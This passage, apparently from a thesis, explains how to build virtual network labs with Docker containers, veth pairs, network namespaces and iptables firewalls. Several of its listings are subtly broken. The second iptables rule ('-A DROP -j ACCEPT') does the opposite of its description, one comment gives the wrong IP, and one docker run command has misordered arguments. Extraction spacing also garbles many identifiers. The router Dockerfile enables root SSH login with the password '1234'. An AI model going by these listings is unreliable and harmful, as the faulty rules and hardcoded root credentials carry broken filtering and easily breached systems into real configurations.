13 # 5: veth -end -y@veth -end -x: <BROADCAST ,MULTICAST ,UP ,\

14 # LOWER_UP > mtu 1500 qdisc noqueue state UP mode\

15 # DEFAULT group default qlen 1000\

16 # link/ether 5e:b1:40:3f:e7:53 brd ff:ff:ff:ff:ff:ff
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17 # 6: veth -end -x@veth -end -y: <BROADCAST ,MULTICAST ,UP ,\

18 # LOWER_UP > mtu 1500 qdisc noqueue state UP mode\

19 # DEFAULT group default qlen 1000\

20 # link/ether de :16:80: f6:c3:64 brd ff:ff:ff:ff:ff:ff

Listing 2.2: Instantiating a Virtual Ethernet Interface.

When looking at listing 2.2 we find that, just like in listing 2.1, the LOWER UP string is
telling us that both veth ends are up and running. We would also like to bring the
reader’s attention to the @veth-end-[x/y] suffix in both veth names. This is just
telling us the name of the other veth end associated with this one. In other words,
veth-end-y@veth-end-x tells us that the veth whose configuration we are currently in-
specting (i.e. veth-end-y) is attached to veth-end-x. Nonetheless, we need not specify
this suffix when referring to the veth ends during configuration. Note we didn’t include
it on lines 5 and 6 on the same listing.

Adding Veths to Network Namespaces

With what we have seen on the previous section we are only capable of creating the veths
themselves. In order for them to be useful we need to somehow connect them to other
network elements so that they are “physically” connected. The process of connecting veth
depends on what element we are to connect it to. Even though it only takes a single
command to do, the connection of veths is a more conceptually intricate process that
requires us to recall what network namespaces were.

When dealing with bridges we just need to issue a simple command as seen on listing
2.3. Said instruction would be the “virtual” equivalent of walking up to a real bridge and
plugging an Ethernet wire in, for instance.

1 # Connect veth end veth -end -x to bridge foo -brd

2 ip link set veth -end -x master foo -brd

Listing 2.3: Connecting a Veth End to a Virtual Bridge.

Now, connecting a veth to a host is a more intricate process. Even though it is true
that it only requires a single command, we need be clear about the “conceptual domain”
backing said connection up. Doing so requires recalling what network namespaces were.
In the realm of networking we stated that a network namespace could be regarded as an
independent network stack within a single physical machine. Thus, each process that was
granted its own would “believe” to have its own, independent network stack. We also
teased that each of our network nodes (both hosts and routers) would run as a docker
container and that each of them would have an associated namespace. Thus, connecting
a veth to a host or router is a synonym for making said veth a part of that namespace.
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This can be accomplished through a single command as seen on listing 2.4. We would like
to stress the fact that in order for said command to behave as expected we must ensure
iproute2 can “see” the namespace we are trying to add the veth to. This is a topic we
will delve into in the following section.

1 # Connect veth end veth -end -y to a host whose associated

2 # namespace is host -a-ns

3 ip link set veth -end -y netns host -a-ns

Listing 2.4: Connecting a Veth End to a Host or Router.

2.4.4 Managing Network Namespaces

Given the framework we have designed we will need to circumvent some small limitations
to leverage the iproute2 suite. We will explained what these are and how to quench them
before explaining how to work with iproute2 in a “multi-namespace” setup.

Making iproute2 Aware of Container Namespaces

The command we presented on listing 2.4 depends on iproute2 being aware of the exis-
tence of the host-a-ns network namespace. This will not be an issue if the namespace
itself is created with the same suite of tools. However, this is not our case: we are try-
ing to interact with network namespaces our docker containers are managing themselves.
This implies that we need to manually perform some actions to let iproute2 manage these
namespaces too.

Working with virtual network infrastructure and namespaces is rather abstract. Thus,
commands letting us inspect the current state of affairs are tremendously helpful. In this
case we can leverage ip netns. This will list all the namespaces the iproute2 suite is
currently aware of (and thus, those it can currently manage and modify). If we run a
docker container and compare the output of the ip netns command before and after
doing so we will not appreciate any difference. This follows from the fact that, as we
stated before, the associated namespace is managed by docker itself. After performing
the actions we detail on the next paragraph one will be able to check how the output
shown by ip netns does reflect the newly created namespace.

The key idea to keep in mind is that “a named network namespace is an object at
/var/run/netns/NAME that can be opened” as stated on [22]. Note that in order to be
sure that we are obtaining information relevant for our platform we must make sure this
manpage is queried on a machine running Ubuntu or on a site offering Ubuntu’s manpages.
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All in all, we find that in order for iproute2 to be aware of network namespaces these
must be available at /var/run/netns. If we create a network namespace ourselves with
ip netns add foo-ns we would find that the ip netns command now shows foo-ns on
its output and that there would be a new empty file at /var/run/netns/foo-ns. The
latter is the “manifestation” of the newly created network namespace on our filesystem.
As expected, running a docker container does not place any file under /var/run/netns
and so iproute2 cannot manage that namespace. Nonetheless, the fact that a container
is associated with its own namespace implies a file similar to foo-ns must also exist
somewhere in the filesystem once the container is active. We only need to find out were
it is and link it to /var/run/netns so that we can work with the container’s namespace.

Even though we will devote a section to the management of containers, we will look a
bit into the docker inspect command. This instruction lets us query information regard-
ing a particular container. As of now, we are interested in the containers PID (Process
Identifier; remember a container virtualizes a process : it’s a single process with its own
PID). We can easily retrieve said identifier based on the container’s name through docker

inspect -f .State.Pid <container name>. This PID will let us locate the container
namespace under the /proc directory. The filesystem mounted at /proc is by no means
a regular one. We will provide a very short description of its purpose and some example
uses in the next section.

The procfs Interface Filesystems were initially envisioned to manage data in the form
of files and directories. Nonetheless, the mechanisms provided by them can be leveraged
to present other types of information. This is just what the Proc Filesystem (procfs) ac-
complishes. It presents information on the system’s process and other characteristics in a
hierarchical manner akin to how files are organized in a common filesystem such as ext4.
This in turn provides a ways of communication between the user and kernel spaces that’s
leveraged by tools such as ps (GNU’s implementation doesn’t use system calls, it just
queries the procfs to obtain the necessary information). As containers are just processes,
they also “manifest” under /proc. Through a container’s PID we can locate the relevant
information and obtain the empty file granting access to its namespace (this file is located
at /proc/<container pid>/ns/net for a given container). This information has been
extracted from [23].

In the light of all the above, we can summarize the process of making a container’s
namespace visible to iproute2 in 3 steps. We are also including a code snippet on listing
2.5. If we run ip netns after carrying these out we must be able to find the container’s
namespace in the output. We are now ready to modify it as we please.



CHAPTER 2. USED TECHNOLOGY ANALYSIS 23

1. Obtain the container’s PID.

2. Find the file representing its network namespace under /proc.

3. Create a link to said file under /var/run/netns.

1 # Find out the PID of container foo -cont

2 cont_pid=$(docker inspect -f {{. State.Pid}} foo -cont)

3

4 # Create the link under /var/run/netns. The namespace will

5 # show up as foo -cont when running ip netns. The name

6 # we’ll find is that of the link we create. It is NOT

7 # compulsory to use the container ’s name , but it

8 # does make namespace management easier.

9 # Options used with ln:

10 # -s: Create a symbolic link

11 # -f: Force link creation (i.e. overwrite an existing link)

12 ln -sf /proc/$(cont_pid)/ns/net /var/run/netns/foo -cont

13

14 # This can also be accomplished in a single line

15 # ln -sf /proc/$(docker inspect -f {{. State.Pid}} foo -cont)/ns/net\

16 # /var/run/netns/foo -cont

Listing 2.5: Linking a Container’s Network Namespace to /var/run/netns.

Running Commands on Different Namespaces

If we recall listing 2.4, we notice how connecting a veth end to a host is equivalent to
“moving” that interface to the host’s namespace. However, we did not delve much deeper
into the implications of this action. Once an interface is sent to a namespace different
than the default one (i.e. the root namespace) we’ll find that running commands like ip

link or ip addr won’t show that interface anymore.

We need to be aware that, even though we don’t usually specify it, every ip XYZ

command is running within a given namespace. Up until now, these were being executed
on the default namespace as we weren’t specifying the opposite. We then need to, after
sending an interface to a different namespace, somehow instruct subsequent commands
to run within that new namespace instead of the default one. This can be easily accom-
plished thanks to the -n flag accepted by commands from the iproute2 suite. Listing 2.6
contains a series of commands that portray this behaviour. Please note that for the sake
of brevity we assume the veths created on listing 2.2 still exist.

1 # Create the host -a-ns namespace

2 ip netns add host -a-ns
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3

4 # Move veth -end -y to the host -a-netns namespace

5 ip link set veth -end -y netns host -a-ns

6

7 # Analyze the current interfaces on the default

8 # namespace

9 ip link

10

11 # This should provide an output like the following:

12 # 6: veth -end -x@if5: <BROADCAST ,MULTICAST ,UP ,\

13 # LOWER_UP > mtu 1500 qdisc noqueue state UP mode\

14 # DEFAULT group default qlen 1000\

15 # link/ether de :16:80: f6:c3:64 brd ff:ff:ff:ff:ff:ff

16

17 # Do the proper thing on the host -a-ns namespace

18 ip -n host -a-ns link

19

20 # This should produce an output in line with the following:

21 # 5: veth -end -y@if6: <BROADCAST ,MULTICAST ,UP ,\

22 # LOWER_UP > mtu 1500 qdisc noqueue state UP mode\

23 # DEFAULT group default qlen 1000\

24 # link/ether 5e:b1:40:3f:e7:53 brd ff:ff:ff:ff:ff:ff

Listing 2.6: Running ip on a Different Namespace.

Notice how after moving a veth ned to a different namespace on listing 2.6, we can
no longer “see it” when running ip link on the default namespace. We would also like
to point out that we had to manually create the host-a-ns namespace for demonstrative
purposes but this will not be the case when we are dealing with the framework we have
developed. Namespaces will be managed by docker in their entirety so we don’t have to
be concerned about their creation and latter deletion.

2.5 Addressing Layer 3 Network Devices

In previous sections we have covered how to instantiate different virtual network elements.
Even though we haven’t exactly looked into how to leverage docker to generate virtual
hosts in the form of containers we can safely assume that is something we can indeed
achieve. What’s more, we have discovered how, from the networking point of view it
suffices to create a network namespace: we don’t need anything else more than that to
generate a presence on the network. It is true that a namespace is a lifeless being in
the sense that it won’t generate any traffic or reply to any request: it only provides the
network backbone that the containers will indeed use. Nonetheless, we already have all
the information we need to tackle the topic of addressing.
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This section is concerned with layer 3 of the OSI Model (i.e. the network layer).
The network stacks we are dealing with implement IP at this level, so when we refer to
addressing a host it’s equivalent to assigning it an IP address. Now, we need to be aware
of the fact that we are not addressing hosts : we are addressing interfaces belonging to
that host. From an end user’s perspective it’s quite common for a given network-aware
machine to contain a single network interface. The fact that there sometimes exists a
one-to-one correspondence between machine and interface does not imply that address-
ing a host is the same as addressing an interface. The clearest example of this would be
the way we deal with layer 3 packet switches (i.e. routers). These will (usually) con-
tain more than one interface where each of them belongs to a different subnet. Then,
each of them needs a different network address. Now, what’s the router’s IP address?
We know it has at least two different addresses, so what’s the correct answer? This ex-
ample shows how the misconceptions surrounding IP addressing can be easily dismantled.

In the previous paragraph we found out how we are actually addressing interfaces, not
systems themselves. Once we have cleared the “conceptual” air we will find out how it’s
rather simple to address interfaces thanks to the ip addr. Listing 2.7 shows the process
of assigning a given IP address to a given interface. This listing assumes the interfaces
created on listing 2.2 still exist.

1 # Assign the 192.168.1.1/24 address to the veth -end -x veth end. This

command will automatically

2 # assign a broadcast address based on the provided subnet mask (i.e.

/24)

3 ip addr add 192.168.1.1/24 brd + dev veth -end -x

4

5 # Verify the changes were applied

6 ip a

7

8 # We should see something like the following:

9 # 5: veth -end -x@if4: <NO-CARRIER ,BROADCAST ,MULTICAST ,\

10 # UP > mtu 1500 qdisc noqueue state LOWERLAYERDOWN\

11 # group default qlen 1000

12 # link/ether de :16:80: f6:c3:64 brd ff:ff:ff:ff:ff:ff\

13 # link -netns host -a-ns

14 # inet 192.168.1.1/24 brd 192.168.1.255 scope global\

15 # veth -end -x

16 # valid_lft forever preferred_lft forever

17 # inet6 fe80::cd4:77ff:fe8a:2ec0/64 scope link

18 # valid_lft forever preferred_lft forever

19

20 # We can of course address interfaces on other namespaces

21 # with the -n flag. The following would assign address

22 # 192.168.1.2 to the veth -end -y present on the

23 # host -a-ns namespace.
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24 ip -n host -a-ns addr add 192.168.1.2/24 brd + dev veth -end -y

Listing 2.7: Addressing an Interface.

We would like to mention that assigning addresses like we do on listing 2.7 will also
affect the route table of the machine the interface belongs to. We’ll delve deeper into this
topic when we discuss routing in a later section.

2.6 Adding Firewall Functionalities to Layer 3 De-

vices

The network topologies we are to instantiate come with several restrictions regarding the
connections network elements are allowed to establish. These policies will be enforced at
the network layer in the different routers we will work with. What’s more, we will lever-
age the iptables tool to filter the different datagrams based on predefined criteria. Given
iptables complexity we believe a short discussion on the tool’s architecture is appropriate.
Please note that the following is heavily based on the contents of [24].

Before diving into iptables we would like to justify our use of the term packet in the
following paragraphs. Even though we intend to be as technically precise as possible,
doing so when discussing a firewall’s operation can prove to be exasperating. Firewalls
are not constrained to a single layer in the OSI model : they can match packets based
on the source and destination network addresses of the incoming datagram, the transport
layer protocol to which the input segment belongs to or even the MAC address associ-
ated with the incoming frame. As these rules can leverage information relative to many
architectural layers we feel it is not correct to fit it within a single one of them. On the
other hand, explicitly differentiating between the term describing a packet based on the
criteria we were using at the time would bog the reader time in a myriad of technicalities
that we felt wasn’t offering a better understanding in return. Thus, we settled on the use
of the term packet for the following discussion: after all, this kind of situations is where
packet’s “ambiguity” excels.

2.6.1 Overview of iptables

Just as its name implies, iptables is organized as a set of tables, each containing rules
that are to be applied to incoming packets. Depending on the incoming packet’s nature,
iptables will use one table or other. In our case we will only be dealing with the default
filter table. These tables are further organized into chains. The filter table contains the
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following predefined chains :

1. INPUT : Its rules are applied to packets destined for local sockets.

2. OUTPUT : Its rules are applied to locally generated packets.

3. FORWARD : Its rules are applied to packets being routed through the ma-
chine.

A table may contain user defined chains as well: if there is something characterizing
iptables it would be its versatility.

Even though the rules we’ll be needing are quite simple, these can get extremely con-
volved. Rules are composed by a certain criteria and a target. The criteria will be applied
to each incoming packet and, if it matches it, the target will be made effective. iptables
applies rules within a chain in a sequential manner: if a rule doesn’t match a packet the
next one will be applied until there are no more rules left in the chain. If that’s the
case, the chains default policy will be enforced. We comment a bit more on these policies
on a later paragraph. We should end by listing the two targets we will be using in our rules:

1. DROP : According to [24] this target “DROPS the packet to the floor”. That’s not
“accurate” in the sense that nothing goes to the floor really, but the effect is the
same: the packet itself will be discarded.

2. ACCEPT : This target will cause the packet to the let through.

One can query the current rules at any time by issuing the iptables -L command or
the more specific iptables -L <chain-name> to query the rules for a particular chain.
These commands can always be combined with the -t <table-name> option, should we
want to work with a table other than filter. An example would be the nat table, used for
packets creating a connection (such as a TCP SYN segment).

As we hinted before, these chains will also have an associated policy. The way iptables
work is that it will try to apply the most restrictive rule for a given packet. If there is no
such a rule, it will fall back to the chain’s policy. End user systems usually have a default
policy DROPping packets that are to be forwarded, for instance. This follows from the
fact that a normal host should not be acting as a layer 3 router in any case. This can
of course be altered thanks to the -P flag that we can use with iptables. Thus, running
iptables -P FORWARD ACCEPT would allow any packets traversing the host through. We
then find how the logic behind firewall rules shifts depending on the policy applied to a
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given chain. If the default policy ACCEPT s packets, we’ll instantiate more specific rules
to DROP some of them. On the other hand, if the configured policy DROPs packets,
we’ll then add rules letting some of them through.

With this background information, we can now analyze the syntax of the rules we will
be instantiating on the layer 3 routers that act as firewalls that we will use in our virtual
topologies.

2.6.2 Instantiating iptables Rules

When discussing the main architecture of iptables in the previous section we stated that
rules within a chain are sequentially applied to a given packet. This implies that the
order we add these rules in is crucial: it will determine the fate of the packet. Even
though every situation differs from one another, the general rule says that rules are to be
added in such a way that “generality increases with each rule”. In other words, the rules
should get more specific as we add them.

Our scenario is a bit simpler however: none of our rules overlap. By overlapping we
mean that, given the criteria for matching packets we will be using, only a single rule
within a chain will be applied to a given packet. This implies that, in our particular
case, the order we instantiate the rules in is not relevant. What’s more, we’ll only dis-
criminate packets according to the destination and source IP addresses. This allows us to
state that we’ll leverage iptables as a layer 3 firewall that’s in charge of filtering datagrams.

We showcase how to add rules to a given chain in listing 2.8. We have added comments
within the listing explaining the effect of the different options. The following enumeration
puts the rules’ effects into words:

1. Accept traffic egressing from the host with IP 10.0.0.3 and destined to the host
with IP 10.0.5.4 no matter the transport layer protocol 1 in use.

2. Stop traffic egressing from hosts other than 10.0.0.3 and destined to host 10.0.5.4.
As it’s not specified, this rule applies to every transport layer protocol too.

1 # Rule 1:

2 # -I FORWARD: Insert the rule at the beginning of the

3 # FORWARD chain.

1ICMP is also considered a transport layer protocol in this case despite not “fully qualifying” as one
(it is not associated with a port number).
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4 # -j ACCEPT: Matching packets will be accepted.

5 # -p all: Match any transport layer protocol

6 # (including ICMP).

7 # -s 10.0.0.3: Match packets with a source IP of

8 # 10.0.0.3.

9 # -d 10.0.5.4: Match packets with a destination

10 # IP of 10.0.5.4.

11 iptables -I FORWARD -j ACCEPT -p all -s 10.0.0.3 -d 10.0.5.4

12

13 # Rule 2:

14 # -A FORWARD: Append the rule at the end of the

15 # FORWARD chain.

16 # -j ACCEPT: Matching packets will be accepted.

17 # ! -s 10.0.0.3: Match packets whose source IP is

18 # NOT 10.0.0.3.

19 # -d 10.0.5.4: Match packets whose destination IP

20 # is 10.5.0.4.

21 iptables -A DROP -j ACCEPT ! -s 10.0.0.3 -d 10.0.5.4

Listing 2.8: Instantiating iptables Rules.

With what we have discussed in this section we can tackle the instantiation of the
pertinent firewall rules when they are needed.

2.6.3 A Foreword on Container Capabilities

We usually assume the root user can perform any actions on a given system. However,
this is not “entirely true” for docker containers. We will need to manually grant them the
NET ADMIN capability so that these firewall rules can indeed be applied. We will look
into capabilities in more detail when discussing containers, but we wanted to point out
that this is the only configuration aspect that requires something other than the defaults.

2.7 A Small Caveat: Debugging Connectivity Issues

in Virtual Bridges

When we began exploring and testing small virtual network models such as the one we
showcase on 3 we stumbled upon a disconcerting issue. Thanks to WireShark [25] we
managed to analyze the packet traces at each of the bridges in an effort to correct the
connectivity problems we were facing. It is important to note that the virtual bridges re-
main in the root namespace. Remember we are only moving veths to the container’s
network namespace. The other ends will always be added to a virtual bridge that’s run-
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ning within the default namespace belonging to the host.

Our analysis showed how ethernet frames were indeed reaching the bridges, but they
weren’t egressing from them. This situation is rather troubling in the sense that nobody
really expects a firewall to be effective in a layer 2 device. After looking around we
stumbled with the bridge-nf-call-iptables system option. This option, which is enabled
by default, forces frames traversing virtual bridges to be “filtered through” iptables. If
one scrutinizes iptables’ manpage he or she will find the physdev match extension. This
module comes with the –physdev-is-bridged option that would allow a user to configure
iptables in such a way that every frame being switched within virtual devices is allowed
through. Just like the original writer of [26], we find this to be tremendously counter
intuitive.

Our approach was a bit harsher than configuring the host’s iptables implementa-
tion: we altogether disabled the filtering of ethernet frames traversing the virtual bridges
through iptables. This can easily be accomplished through the procfs interface with the
command shown on listing 2.9. Said listing also contains an option allowing for the per-
manent change of this setting within a system. We nonetheless chose the former approach
so that changes can be reverted in a “worst-case scenario” by rebooting the host running
the virtual network infrastructure.

1 # Disable bridge calls to ipatbles through the procfs

2 # interface. We leverage tee to work around shell

3 # redirection characters such as > not having

4 # elevated privileges when echo is run with sudo.

5 echo 0 | sudo tee \

6 /proc/sys/net/bridge/bridge -nf-call -iptables > /dev/null

7

8 # The above is equivalent to running:

9 sysctl -w net.bridge.bridge -nf -call -iptables =0

10

11 # Make a permanent change to /etc/sysctl.conf and apply it

12 echo "net.bridge.bridge -nf -call -iptables = 0" | \

13 sudo tee -a /etc/sysctl.conf

14 sysctl -p

Listing 2.9: Disabling Bridge Calls to iptables.

Our tool will make sure this kernel feature is disabled before instantiating any virtual
network devices.
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Command Description
docker ps -a List the status of all existing containers.

docker build ... Build an image from a Dockerfile.
docker exec ... Execute a command within a running container.
docker run ... Create and run a new container.

docker start ... Start an existing stopped container.
docker stop ... Stop a running container.
docker rm ... Remove an stopped container.

Table 2.2: Basic docker Commands.

2.8 The Containers

We have previously stated that a container can be regarded as the virtualization of a
process. An initial discussion about containers, what they are and what they are not can
be found on section 1.2.1. This section “fills in the holes” left by the aforementioned one.

2.8.1 Managing Docker

We have chosen to leverage docker’s CLI (Command Line Interface) to manage all the
containers we will be dealing with. The set of tools that’s offered to us can also be used
to query the currently active containers, build images and query container logs among
other actions. We are including a non-comprehensive list of commands we will commonly
use on table 2.2 so that it can be used as a reference for the rest of the section.

Commands listed on table 2.2 will be expanded on as we work our way through this
section.

2.8.2 Container Images

The application a docker container runs together with its dependencies is packed into
an image. Then, a docker container runs an image. We can once again leverage the
class-instance concept soaking the object oriented programming paradigm and regard the
images as the container classes and the running containers themselves as instances of the
image they are running. In other words, the images are run as containers within what
we call the Docker Engine [27]. The fact that this Docker Engine is abstracting us from
the underlying operating system is what makes containers run in exactly the same way
across machines.
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Images themselves need to be built before a container can run them. The process
docker is to follow to build a given image is specified in a Dockerfile. We are includ-
ing the one we use for building the images for our routers on listing 2.10. It is rather
common to build and image based on a preexisting one. That is exactly what we do:
we use a “vanilla” (i.e. plain) Ubuntu image and then tweak it to our needs as can be
seen on listing 2.10. Even though it is not our case, it is worth mentioning one can use
the docker pull command to download prebuilt images from sites such as Docker Hub [28].

1 # Pull a "vanilla" Ubuntu image.

2 FROM ubuntu

3

4 # Install the required dependencies:

5 # iputils -ping -> Install the ping command both for

6 # testing and demonstration purposes.

7 # openssh -server -> Allow incoming SSH connections.

8 # The client is installed by default.

9 # iptables -> Allow turning the routers into firewalls.

10 # daemonize -> Turns any program (ping in our case)

11 # into a daemon.

12 RUN \

13 apt -get update && \

14 apt -get install -y iputils -ping && \

15 apt -get install -y openssh -server && \

16 apt -get install -y iptables && \

17 apt -get install -y daemonize && \

18

19 # Make the /run/sshd directory needed by the SSH daemon.

20 mkdir /run/sshd && \

21

22 # Allow others to log in as root into this machine.

23 # Note the default user is indeed root him/herself.

24 echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

25

26 # Set root’s password to 1234.

27 # echo’s -e option allows the use of escape sequences (\n).

28 RUN ["/bin/bash", "-c", "echo -e ’1234\ n1234’ | passwd root"]

29

30 # Copy necessary files into the container.

31 ADD moving_adjustments.sh /moving_adjustments.sh

32

33 # Set root’s home directory.

34 ENV HOME /root

35

36 # Default command at startup (i.e. run the SSH daemon).

37 # The -D option prevents sshd from daemonizing.
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38 CMD ["/usr/sbin/sshd", "-D"]

Listing 2.10: Dockerfile for our Virtual Routers.

Building the Images

As seen on the second command on table 2.2, we need to use the docker build command.
We just need to be aware of two arguments.

The -t option allows us to name the built image. This is the name we will later
use when selecting this image to be run within a new container. We can optionally tag
this image if we use the name:tag syntax with the -t option. This is handful for building
several different versions of the same image. We, however, haven’t made use of this feature.

We also need to specify the path to the directory containing the Dockerfile itself. This
is commonly specified as . (i.e. the working directory), which implies we are running
docker build within the same directory our Dockerfile is in. We will, however, run the
command from a directory other than the one holding the Dockerfile, which calls for the
explicit path to the Dockerfile being passed as an argument to the -f option.

All in all, our command is shown on listing 2.11. The images our containers will run
are:

• ubuntu node: Image run by regular virtual end systems (i.e. hosts).

• ubuntu router : Image run by our virtual routers. This image is built from the
Dockerfile displayed on listing 2.10.

1 # This command is to be run form the directory containig

2 # any files we are ADDing or COPYing to within the

3 # Dockerfile.

4 docker image build -t <image -name > -f /path/to/Dockerfile .

Listing 2.11: Building an Image from a Dockerfile.

Managing Built Images

Once images are built we can leverage the docker images command to list the ones cur-
rently available to us. If everything went well, the image we built with the command
shown on listing 2.11 should show up in this list identified by the name provided to the
-t option. This command’s output will also show the image’s ID : an hexadecimal string
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univocally identifying it. This can often be used instead of the image’s name.

We can also use the docker rmi command to delete a built image. We can specify
the image we want to remove through either its name or id.

2.8.3 Managing Containers

A Container’s Lifecycle

Understanding the different states in a container’s lifespan is the key to managing them.
The following enumeration walks the reader through the natural steps a container will
follow: from its creation to its removal. The same information is also contained on figure
2.2 for the more visual readers.

1. A container is created with an associated image.

2. An existing container is started so that it begins running a program.

3. A container can be run: this will just create and start it.

4. A currently running container’s state can be altered in several ways:

(a) A running container can be paused and then unpaused.

(b) A running container can be stopped or killed : this will effectively stop the
program running within it.

(c) A running container can be restarted.

(d) A running container’s associated program can also exit, thus killing the con-
tainer.

(e) A running container can also exhaust the resources it’s been granted, effectively
dying.

5. A stopped or created container can removed. This step is non-reversible: the con-
tainer’s data will be deleted with it.

We feel it is extremely important to draw the reader’s attention to entry 4d in the
enumeration describing a container’s lifecycle. The fact that the exit of a container’s main
process effectively stops it implies that we can indeed stop containers through means not
depending on the docker stop command. Given we are running an ssh daemon within
the containers, we can log in as root and then issue kill 1 to effectively stop the con-
tainer. After all, docker stop will send the SIGTERM signal to the process running
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within the container and, should it not behave appropriately, SIGKILL after a config-
urable delay. Even though this subtlety will not impact the use we make of the virtual
environments we are to work with it is a crucial aspect to bear in minf to fully understand
the lifecylce of containers.

Container Capabilities

Due to the actions we want to perform inside our containers we need to provide them
with some capabilities beyond the default ones. In the case of the regular nodes, we need
to provide the SYS ADMIN capability so that they can change their own hostname with
the hostname command. Routers will also need to be granted the NET ADMIN capabil-
ity so that they can configure their own iptables rules. These capabilities are granted to
containers when they are run thorough the --cap-add option.

What is more, we need to allow the routers to forward packets through them. Be-
sides instantiating the proper rules in iptables we also need to allow the kernel to process
these packets. We can do so through the --sysctl option when running the container,
thus enabling ip forwarding with the net.ipv4.ip forward=1 parameter. This would
be equivalent to running echo 1 > /proc/sys/net/ipv4/ip forward within an active
container. The catch is that /proc/sys is mounted as read-only within containers. This
would imply that we need to grant many more capabilities to said container so that we
could run mount -o remount rw /proc/sys and then overwrite the option manually.
We believe it is more elegant to just configure the options we need when starting the
container and that is what we willl do.

In any case, these options can be seen in the commands shown on listing 2.12.

Docker’s Internal Networks

The avid reader might have noticed how, after installing docker on an end system the
output of the ip addr command within the machine has a different output: the docker0
interfce is added as a gateway for the containers allowing them to reach the “outside
world”. What’s more, after installing docker the iptables rules on the machine change as
well. Running iptables -L shows a myriad of new chains with names such as DOCKER-
USER and things along the lines of DOCKER-ISOLATION-STAGE-*. This approach to
networking does simplify the issues one might run into when trying to make a “normal”
use of a network, that is, when someone wants to either isolate a container from the ex-
ternal network or provide outwards connectivity. This is by no means our endeavour: we
want to work with arbitrarily complex network topologies.
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In the realm of technology one often finds that simplifying the operation of a given
software system implies making assumptions and avoiding exposing configuration param-
eters to the end user. Whilst this is a totally reasonable approach it is not one suited
to us. This justifies the fact that we discarded the preexisting docker network model.
This translates into us passing the --network none option to commands such as docker
run, for instance. Just like when we discussed the role kubernetes plays when orchestrat-
ing containers, we feel it is pointless to use a tool only to go against it time and time again.

Our Approach

Our framework makes extensive use of the docker run command to both create and start
the containers with the same action. The network topologies we are to set up contain a
myriad of nodes, so allocating a tty for each of them makes handling things tremendously
unwieldy. That is why we will always use the -d option, thus detaching the container.
This translates into docker instantaneously returning control of the shell session we are
currently using as soon as the container itself is up and running. What’s more, we will
also run the container with no network connections: remember we will manually set the
entire networking infrastructure up. The commands we use to run both types of images,
that for routers and nodes, is shown on listing 2.12.

1 # Running regular network nodes.

2 docker run -d --name <node -name > --network --cap -add SYS_ADMIN none

ubuntu_node

3

4 # Running routers.

5 docker run -d --name <router -name > --network none --cap -add SYS_ADMIN --

cap -add NET_ADMIN --sysctl net.ipv4.ip_forward =1 ubuntu_router

Listing 2.12: Running Network Nodes.

Running the container in the background poses the question of how we are to “get
inside the container” to act as a regular user. In other words, how can we log into a
detached container? Given docker’s architecture, and the fact that we are running an
SSH daemon as the container’s main process, we have two options to attain this result.

Executing Commands Within the Container As shown in table 2.2, we can al-
ways use the docker exec command to execute a command within a running container.
If what we want to do is start a bash shell within the container (Ubuntu’s default shell)
we can just execute the command found on listing 2.13. We can also take a look at the
processes running within the container to confirm how sshd’s PID is indeed 1 (it was the



CHAPTER 2. USED TECHNOLOGY ANALYSIS 38

first process to spawn in the container). Aside from that process, we will only see the
current shell session together with the ps program too. This approach can of course be
leveraged to run single-non interactive commands within the containers. We could for
instance run docker exec <container-name> ps ax to list a containers processes, for
instance.

1 # Spawning our test container.

2 docker run -d --name test_node ubuntu_node

3

4 # Running a shell within it:

5 # -i: Interactive command (i.e. keep STDIN open).

6 # -t: Allocate a pseudo -TTY (i.e. a software

7 # emulated terminal).

8 docker exec -it test_node bash

9

10 # Listing the existing processes:

11 # a: Show all processes with an allocated TTY.

12 # x: Include processes without an allocated TTY.

13 # These two options effectively select every process.

14 ps ax

15

16 # Sample output:

17 # PID TTY STAT TIME COMMAND

18 # 1 ? Ss 0:00 sshd: /usr/sbin/sshd -D \

19 # [listener] 0 of 10 -100 startups

20 # 13 pts/0 Ss 0:00 bash

21 # 23 pts/0 R+ 0:00 ps ax

Listing 2.13: Inspecting a Container’s Processes.

Logging in Through SSH We previously explained why our containers were going to
run an ssh daemon as their main process. This not only “keeps them alive”, but it also
allows external connections to be made from the outside world. Thus, once we know the
IP address associated to a given container we can log into it from the host running docker
as long as we do have connectivity with the container itself. If we spawn a container using
the same command as the one shown in listing 2.13 we can verify how it has been given
an IP by the docker daemon with the command found on listing 2.14. Then, we can just
run ssh root@<container-ip> to log into that machine as we would normally do in any
other system. The password is, of course, 1234 as specified in the Dockerfiles we used to
build the images these containers will be running.

This aspect shows one of the great strengths of our approach when instantiating the
entire networking infrastructure ourselves: we can choose whether to isolate the entire
virtual scenario from the outside or not. This would permit or forbid an external user to
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log into our containers for instance. All we would have to do is add a veth connecting one
of the virtual routers and the machine running the containers: as simple as that.

1 docker inspect -f {{. NetworkSettings.IPAddress }}\

2 <container -name >

Listing 2.14: Checking a Container’s IP Address.

Attaching to the Container We can theoretically leverage a third option: attaching
a terminal session to the running container. This will not behave as we would expect
however. In our case, attaching a shell to our container would make us “see” the ssh dae-
mon we are running as the container’s initial process. This would’t allow us to perform
any actions whatsoever: we wouldn’t be attaching ourselves to an interactive process, so
it is of very little use. We nonetheless felt it was worthwhile to mention this option did
indeed exists: it might prove to be useful under different circumstances.

The framework for instantiating virtual networks leverages the different technologies
we have discussed throughout this chapter. The next one shows a “toy example” demon-
strating the use of all of them to bring up a simple topology comprising two containers
and a bridge mediating between them.



Chapter 3

Manually Bringing Up a Simple
Network

If the vendors started doing
everything right, we would be out of
a job. Let’s hear it for OSI and X!
With those babies in the wings, we
can count on being employed until we
drop, or get smart and switch to
gardening, paper folding, or
something.

C. Philip Wood

Figure 3.1 showcases a simple topology we will instantiate by applying the contents
described in chapter 2. Instead of relying on our framework to perform the task, we will
manually carry out all the needed steps and detail them in a code listing. This demon-
strates how are tool is nothing more than an additional “layer” in charge of managing the
subtleties we will manually deal with once the topologies’ complexity begins to increase.

3.1 A Note on the Chosen Private IP Range

As seen on section 3 of [30] we could have chosen private addresses within one of 3 private
network address spaces. Doing so guarantees we will not run into any collisions should
we want to let our virtual hosts and routers communicate with the public Internet. We
should nonetheless be aware of the fact that, if we are pursuing a completely isolated
virtual network we need not adhere to these reserved address ranges: no collisions could
probably occur.

40
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Figure 3.1: The Sample Topology We Will Set Up Throughout Chapter 3.

Given we did not have a firm reason not to choose one of the reserved private address
spaces, we decided to make use of them. As our home network uses the 192.168.1.0/24
range and, in our experience, the 172.16.0.0./12 space tends to be more common, we
decided to assign addresses within the 10.0.0.0/8 pool. These are the ones that will be
included in any figures and listings that need to explicitly include IP addresses.

3.2 Automating the Sample Topology

